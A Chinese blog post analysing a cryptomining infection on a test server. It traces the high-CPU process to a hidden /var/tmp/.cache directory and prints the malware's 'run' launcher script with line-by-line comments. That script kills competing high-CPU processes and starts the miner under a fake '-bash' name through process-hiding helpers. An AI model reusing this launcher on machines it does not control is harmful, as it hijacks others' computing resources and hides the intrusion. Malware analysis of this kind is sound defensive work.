岍美一台测试服务器CPU使用率达到了700%多,见截图:
都没有怀疑,肯定是挖矿病毒搞的鬼,
# 这里top最高CPU是用的 pid 为 932620 ls -l /proc/932620/exe # 得到如下结果 lrwxrwxrwx 1 git git 0 Jul 29 04:33 /proc/932620/exe -> /var/tmp/.cache/java
cd /var/tmp/.cache ls a bash.pid cron.d dir.dir h32 h64 java run upd x
其中h32和64是根据操作系统cpu是32bit还是64bit的来运行隐藏名字的程序,主进程是java程序,其他都是可见的脚本文件
这里以 run脚本分析:
#!/bin/bash
# 下面这条命令的作用是:
# 查找并杀死 CPU 使用率超过 40% 的进程,
# 但排除名为 `xmr-stak` 的进程和所有加载 `ld-linux.so.2` (动态链接器)的进程
# 同时也根据 `bash.pid` 文件(如果存在)中列出的进程 ID 排除额外的进程
# 其中:
# 1. `ps aux`
# 列出系统中当前运行的所有进程的详细信息。
# 2. `grep -vw 'xmr-stak\|ld-linux.so.2'
# 从 `ps aux` 的输出中,排除包含 `xmr-stak` 或 `ld-linux.so.2` 的行。
# `-v` 表示反向选择(即选择不匹配的行)。
# `-w` 表示匹配整个单词。
# `\|` 是正则表达式中的或操作符
# 3. `(test -e bash.pid && grep -vwf bash.pid)`
# 如果 bash.pid 文件存在,则从前面的结果中排除该文件列出的进程 ID。
# `test -e bash.pid` 检查文件是否存在。
# `grep -vwf bash.pid` 中的 -f 则表示从文件中读取模式(即进程 ID),用于排除这些进程
# 4. `awk '{if($3>40.0) print $2}'
# 使用 awk 处理上一步操作,如果第三列(CPU 使用率)大于 40,则打印该行第二列(进程 ID)
# 5. `while read procid; do kill -9 $procid; done`
# 强制杀死所有符合条件的进程
# 6. `2>/dev/null`
# 忽略所有错误消息
ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | (test -e bash.pid && grep -vwf bash.pid) | awk '{if($3>40.0) print $2}' | while read procid; do kill -9 $procid; done 2>/dev/null
# 获取 CPU 核心数
proc=$(nproc)
# 获取系统的架构(Architecture)信息
ARCH=$(uname -m)
HIDE="-bash"
# 根据系统架构,执行不同的程序
if [ "$ARCH" == "i686" ]; then
./h32 -s $HIDE ./java >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
./h64 -s $HIDE ./java >>/dev/null &
fi
# 使用 $! 获取上一个后台命令的 PID,并将其赋值给 pid 变量
pid=$!
# 将上面获取到的 pid 加 1 并作为一个新的变量
new_pid=$((pid + 1))
# 将新的 pid 写入 base.pid 文件,并覆盖原有内容
echo $new_pid > bash.pid
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!